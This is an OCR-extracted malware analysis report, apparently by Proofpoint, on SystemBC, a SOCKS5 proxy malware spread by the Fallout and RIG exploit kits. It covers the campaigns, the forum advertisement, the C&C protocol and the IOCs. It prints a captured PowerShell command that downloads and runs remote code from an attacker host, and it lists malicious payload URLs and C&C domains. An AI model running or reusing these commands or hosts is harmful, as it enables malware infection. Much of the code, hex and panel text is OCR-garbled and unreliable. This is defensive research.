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Overview

SystemBC is a previously undocumented malware that we have recently observed as a payload in both
RIG and Fallout exploit kit (EK) campaigns. While EK activity has remained quite low relative to its peak
in early 2016, exploit kits remain important vectors for malware distribution, particularly in regions where
Windows piracy is common. The new malware utilizes SOCKS5 proxies to mask network traffic to and
from Command and Control (C&C) infrastructure using secure HTTP connections for well-known banking
Trojans such as Danabot, which we have also observed distributed in the same EK campaigns.

A related sample of this malware may have been_identified by other Infosec researchers on Twitter [2] in
mid-October of 2018 distributing AZORult instead of Danabot. SystemBC may also have connections to
Brushaloader and related malware.

Campaign Analysis

While analyzing a Fallout EK campaign on June 4, 2019, Proofpoint researchers observed the
distribution of a previously unseen proxy malware. Most recently, the malvertising-based Fallout exploit
kit chain has been used to deliver instances of Maze ransomware (Figure 1).
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Figure 1: Malvertising-based Fallout EK chain that previously delivered Maze ransomware

On June 6, 2019, Proofpoint researchers observed the new proxy malware in the wild again [3]. This
time it was being delivered via a Fallout EK and PowerEnum campaign (Figure 2) alongside an instance
of the Danabot banking Trojan (affiliate ID 4).
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GET hitp://guyspride com/OnVE/Heinesgue_recliners Latten?KCcZ =bursaries-posologic-
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User-Agent: SENB2a36p61HSKES

Host guyspride.com

Connection: Keep-Alive

Figure 2: Fallout EK dropping PowerEnum, which has been observed instructing the download of

Danabot Affid 4 and a proxy malware DLL

Between July 18 and 22, 2019, Proofpoint researchers observed the proxy malware a third time. This
time it was being distributed by the Amadey Loader, which itself was being distributed in a RIG EK

campaign.

Other security researchers have also observed the malware being used in the wild. Notably, Vitali
Kremez saw a sample of the malware on May 2, 2019 [3], and @nao_sec observed it in connection with

HTTPR/1.1 200 OK

Server: nginx

Date: Thu, 06 Jun 2019 16:31:27 GMT
Content-Type: application/octet-stream
Content-Length: 104
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Accept-Ranges: none

X-Cache: MISS from lux-04-08-02
X-Cache-Lookup: MISS from |uwe-04-08-02:0
Wia: 1.1 lux-04-08-02 (squid/3.5.27)
Connection: close

IEX (New-Object Net. WebClient) DownloadString(https:// snaliticap.info: 443/ chkesosod/ downs/ sByeHbpyji);

in a third Fallout EK campaign on July 13, 2019 [4].

Marketplace Analysis

Since this proxy malware was being used in multiple separate campaigns, Proofpoint researchers
believe it was very likely that it was being sold in an underground marketplace. Moreover, we found an
advertisement from April 2, 2019, on an underground forum that described a malware named “socks5
backconnect system” (Figure 3) that matched the functionality of the malware seen in the above
campaigns. To differentiate from other malware leveraging SOCKS5, we dubbed the new malware
“SystemBC” based on the URI path shown in the advertisement’s panel screenshots (Figures 4 and 5).
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Figure 3: Original forum advertisement for SystemBC (translated from Russian)

The advertisement also contains screenshots of the C&C panel (Figure 4-6). The simple C&C panel
boasts a list of victim computers, automated updating, and built-in authentication. The builder allows
users to create a set number of samples with custom configurations.Figure 3: Original forum
advertisement for SystemBC malware (translated from Russian)
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fsystembcV3/95V3RL X+

£ > C o

RAW DATA

Country:
Region:

City:

ONLINE: 17 OFFLINE: 25

Figure 4: SystemBC Administrator Panel (as observed in an underground advertisement)

fsystembcV3/95VER

> C &

AUTH ON/OFF

® I/ ;ystembcV3/95V3RLIH.php

.

@ -/t bcV3/95V3RL1H.php?settings

4001 |.56.85 United States MA Cambridge, 02139 UPTIME: 13:.03:10 AUTH ON/OFF
4002 3,231,156 Canada,ON, Toronto,M3H UPTIME: 00:51:31 AUTH ON/OFF
4004 156.20,United States,NY.Southampton,11968 UPTIME: 13:03:10 AUTH ON/OFF
14005 1.231.156 ,Canada, ON, Toronto, M3H UPTIME: 00:51:31 AUTH ON/OFF
4007 11.151.215 UPTIME: 01:31:35 AUTH ON/OFF
4009 ".61.124 United States, TX.San Angelo, 76904 UPTIME: 13:03:10 AUTH ON/OEF
4010 ".61.124 United States, TX_San Angelo, 76904 UPTIME: 13:03:10 AUTH ON/OEE
4011 226.106 _United States, . UPTIME: 00:48:38 AUTH ON/OEE
4013 1.248.199 United States NY,Fredonia, 14063 UPTIME: 01:36:123 AUTH QN/OEFE
4014 1.248.199 United States NY,Fredonia, 14063 UPTIME: 00:26:28 AUTH ON/OFF
4015 1.206.134 United States FL_ Pompano Beach, 33063 UPTIME: 00:48:06 AUTH ON/OFF
4016 156.20 United States NY,Southampton, 11968 UPTIME: 13:.03:08 AUTH ON/OFFE
4023 3.171.32 United States PA Southampton,18966 UPTIME: 01:27:10 AUTH ON/OFF
4031 1.79.202, . UPTIME: 07:32:35 AUTH ON/OFEFE
4033 136.247 United States GA Atlanta 30329 UPTIME: 03:58:15 AUTH ON/OFF
4041 224.48 United States,NJ, Trenton, 06610 UPTIME: 00:30:51 AUTH ON/OFF
14042 224.48 United States,NJ, Trenton, 086610 UPTIME: 00:30:48 AUTH ON/OFF

UPDATE URL: http:/fyourserver/update exe repeat every 0 hour(s)

Figure 5: Another section of the SystemBC Administrator Panel (as observed in an underground
advertisement)
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fsystembcV3/95V3R X [ backconnect.org/fid=| .

. = C i @ & https

backconnect.org/?id=c ec&generate

domain-or-ip.com

reserve-domain.com
DNS of bit domains

.32.191.104
nsl.vic.au.dns.

ns2.vic.au.dns..

Submit |

You have 10 queries

Figure 6: SystemBC Builder (as observed in the advertisement noted above)
Malware Analysis

SystemBC is written in C++ and primarily sets up SOCKS5 proxies on victim computers that can then be
used by threat actors to tunnel/hide the malicious traffic associated with other malware.

Configuration

Important strings such as the C&C servers, DNS servers, and port number are encrypted with a 40-byte
XOR key that is stored in memory. Reference [5] is a GitHub-hosted Ghidra Python script that can be
used to decrypt the configuration from the analyzed sample (Figure 7):

00000B0e6 . - : 1 3 | BEGINDATA.HOST1: |
00000010 6 _ : | gougounu.site..
00000020

00000030

00000040

00080050

00000BR6e @ D @ y

0000070 3: : 3738 / 4 4e 53 31 3 |[RT1:4079. .DNS1:
00000R8e 2e 31 : 2 2e 3G 2e 31 : 4 : |.132.191.104. ...
000000 ’ % 5 %

000000an

000v0eBbe

00voeece

Povveede - -

00000Leo 9 € - s £ a 3 DNS3:?
PovooefTe : : 3: 39 2e 3 7 : ) 6 ' .189.128.27.
000001006 s :

00000116

00000126

Figure 7: Decrypted malware configuration
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The DNS servers are used to resolve “.bit” domains. The malware calls a function to check whether the
server name ends in “.bit.” If it does, a DNS query will be generated by iterating through the list of DNS
hostnames until the malware finds a valid server (Figures 8 and 9). It is worth mentioning that although
both the screenshots and samples reference OpenNIC, they are no longer resolving “.bit” domains [6].

decrypt_str

= null terminate string(serverName):
serveriName;
= (char *)@8x@) {
{in_addr).bitCheck(serverName,2):

inet ntoa(in):

if (((int)( 4) < 0) (*(int *)(
Figure 9: The malware checks to see if the last four characters of the server name are “.bit”

Command and Control

All packets are encrypted using standard RC4, but the S-Box is initialized in a novel way (Figure 10):

0x4040404;

} while (1 != @);

for 1 from 0 to 255
S[1] := 1
endfor

Figure 10: Side-by-side comparison of the SystemBC RC4 S-Box initialization (left) and the more
common implementation (right)

An example of the hex-encoded (for visibility) C&C communications are available in Figure 11:

, (byte x)serverName, (char x*)@xffffffff, (byte x)0x0);
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c9b36aec884acl9ccefab8453ch14ea8758668c6c96aecab385bacb@6891eb3144561ecda®df696fdad2o
P0000000VVVOVVV3083ea94fd5T506bb0905729Ff801c32dca3502bed85a09e27eald8f712dc21c2fe55b
cedd1d955642e4b99f38e761e86cT3
819ff095849fea96be7d1le3c9ed50068c99c4clef1986T1a91a795bd6c18
8094eaB849eea94adlc7d5ff1a@

819cfc95849fea96a26b0a28dfc71d68dbc64212b09c6cl2be7 f

8394eaB49eea94adlc7d5ff1ad
809fef97979deb97ad1d7d5e0da36df81d9b93d6201524901b8ad89773b24900b2d52ea4b7dd7a36d85e
£30188c99bfh4231880343211894911ecb6d@elfdb540a79a4a203714fa%9a3b074954629473a8fa4206e3a
@c73ecd9df8a2d76cb8276813512c7c3e90f2elfa786ad4aa7f55cf6fdcfcbbl7bcb6cf44a3e46309c2d6d8
91b86a3042f0d26a67878864bedd®52d7bala52d0216bb616e04f152736e6f50e@c78c3fe22c877e@b27c
34178573389843e56626acl7cc3a2782ae9764cc5eb6cleb9d1b652444087ed7d1ledellaea52c386T06c54
fd88f87c8fddfb01alfb866196e6a24a85571a2640a8eb62b52dbdda5976a5bdc9a455256ba31142792d7c
376781c27b98989d31dcb9d33f88657cb98e82163fbce531811731f4b6c5fd1c75a44d0bfcb8267223dac
9afbab5ab50efafba23be2ac4eb6b9854Tdd9be3TdB856be779b7056912e29a828313ab706f2eb4db@3579c¢
159976aedd7ff94c69c940ac8970affbldc2cbla77689da69c3d277e95964aa5960b1b9c8Td02554b6255
40516f6c34cca@697b85679c4a9072a7d282324207972591234eb3594d3¢c37259daa232a411490acc3991
eaeb10d9f23905d88c9e7f6f58701al@c2ef784ac72d1821a22733cd2fca914db96511cldaed4d4540594b2
5f423d5b2afb78d4a2b4fb9e5d6fdc13c59b81e09d@bb27beff8ad4fc24adf731816bce739c4eled4@cdb
cl4adc47735adb7f19042d
80b2e1979de995d71e7d5f87a36d8b81ab%9a%941b1dc3fa9c78a943511894778773b162dbf@a3cb7339d1a
67582ecbfb423188034321f894911ecbd@elfdb540a79ad4a203714fa%9a3b074954629473a9c874a04070d
53eeeedc5706968606a9c8d2c99d0587dfae40beef@c4d87023ec981b1688131e437d4154d26e52d46911
993a7103f6f45c4161aeb3c959faeb879b5chb9f530d47d120330e2ed2c4981431feldcab771c38d2009a7

Figure 11: Example C&C communications (hex-encoded for visibility)
The client begins the communication by sending a 100-byte packet to the C&C address.

The packet contains four elements:

Bytes 0-49  Plaintext RC4 key

Bytes 50-51 Windows build ID

Bytes 52-53 Boolean determining if the client is running on an x64 processor

Bytes 53-99 Client machine’s account name, with trailing zeroes

It was derived from the following decompiled code (Figure 12):
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_ Packet */
GetUserNameExA(2,& ->|sername,
copyArgltoArg2(&key, (undefined *)

= rtlGetVers();

*{undefinedd *)& ->rtlCheck =

= isWow64Proc();
->1sWowbd = (char) ;
/+ RC4 last pytes of packet with
RC4_implementation(&key,50, ->rtlCheck,50);
/% Send Packet #*/
sendingData( , (char ] , 100, (HANDLE)®x0) ;

Figure 12: Logic of initial packet creation

This is verified by decrypting the last 50 bytes of the packet using the first 50 bytes as the RC4 key. The
result is plaintext data (Figure 13).

9j\xec\xa68[\ \xb@h\x

Figure 13: Decryption of the initial packet data

The return packet from the C&C server contains two main segments, a header and data, which are
decrypted separately using the RC4 key from the first packet. The header, which makes up the initial 4
bytes of the packet, has a type, index, and length field. The data segment takes up the remaining bytes
in the packet and contains details for the creation of a SOCKS5 proxy connection. A breakdown of the
packet is as follows:

Byte Type
0

1: Indicates the following “data” packet is SOCKSS5 proxy traffic and is associated with the
identified index number.

0: Create a new proxy and will assign it the given index number. The index number is
assigned by the C&C server and is used to associate traffic to a particular proxy.

-1: Update malware by downloading an executable, save it with a randomly generated name
in the TEMP directory, then run the file

Byte Index: Tells the infected machine which proxy to use
1
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Bytes Length: records the number of bytes in the following data chunk
2-3

Bytes SOCKS5 packet information
3-

>>> rc4.decrypt(header)
'\x00\x01\x1a\x00'
>>> rc4 = ARC4(key)

>>> rc4.decrypt(data)
'\x05\x01\x00\x03\x13accounts.google.com\x01l\xbb'

Figure 14: Decryption of the first response packet

Referencing source [7], we can map these values to a structured SOCKS5 client connection request
packet to yield (for example):

Version: 5

Command code: 1

Reserved: 0

Address type: 3

Length of domain: 19

Domain name: accounts.google.com

Port number: 443

The second packet sent from the client to the server contains a 3-byte RC4-encrypted header consisting
of an index number and data length. Repeating the above steps, but instead assuming a 3-byte header,
we can decrypt a typical SOCKSS5 server acknowledgment:

Version: 5

Status: 0

Reserved: 0

Address type: 1

IPv4 Address: 00 00 00 00
Port number: 00 00

This sample goes on to initialize another proxy with a different domain name and an incrementing index
value.
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With the proxies initialized, the client now begins to retrieve data requested from the C&C via HTTPS.
We can discern that data with a 3-byte header contains response data sent from the proxy while data
sent with a 4-byte header are commands from the C&C server.

Conclusion

Proofpoint researchers have identified a previously undocumented proxy malware, dubbed "SystemBC",
being distributed by the Fallout and RIG exploit kits.

In the most recently tracked example, the Fallout exploit is used to download the Danabot banking
Trojan and a SOCKSS5 proxy which is used on the victim’s Windows system to evade detection of
command and control (C&C) traffic. The synergy between SystemBC as a malicious proxy and
mainstream malware creates new challenges for defenders relying on network edge detections to
intercept and mitigate threats like banking Trojans.

Proofpoint recommends that organizations continue to remain vigilant in keeping their Windows client
and server operating systems as well as infrastructure devices patched with vendor-recommended
updates and patches, to retire the use of legacy systems which use susceptible browser plugins such as
Adobe Flash Player, and to retire legacy Windows systems that may be susceptible to exploit kits such
as Fallout.
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Indicators of Compromise (IOCs)

I0C IOC Type Description

e8627abféb2e9ccebbc544d485b4e2bccd22580b4dc7ba8510d4e4e8bbab3fc9 SHA256 June 4,
2019
SystemBC
Malware

mie[.crypto-cryptol.site Hostname June 4,
2019
SystemBC
C&C
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893305fd80eb324b262406c60496163ed4ff73dad679f1bd543ff703de457f91 SHA256  June 6,
2019
SystemBC
Malware

gougounul.site Domain June 6,
2019
SystemBC
C&C

3261f0e45d867236d4794b2a3dce38663bb319a6fabec7ae07fac3237e474689 SHA256 July 18,
2019
Amadey

dsntul.top Domains  July 18,
2019

elienne[.net Amadey C2
hosted

amnsns|[.com behind

Sandiflux

hxxp://mmasl[.com/s1.exe URLs July 18-22,

2019
hxxp://calacs-laurentides[.com/s1.exe

Amadey
Tasks
(SystemBC)

9024a3ec7df6ef51f69c2e452da26d3a45743fd1c49b2d59beeb83be0949fe06  SHA256 July 18,
2019
SystemBC
Malware

20a7cfcaf76890ad5e959e5662f421141126d3ee1edace8f5531f8effecb6051 SHA256 July 22,
2019
SystemBC
Malware

146.0.75[.34 IP July 18-22,
2019
SystemBC
Cc&C

6269d9ce2adb19a46bffefe50c9b3e00974c4dc8f4c2dc0156545707efb4f453 SHA256 July 24,
2019
SystemBC
Malware
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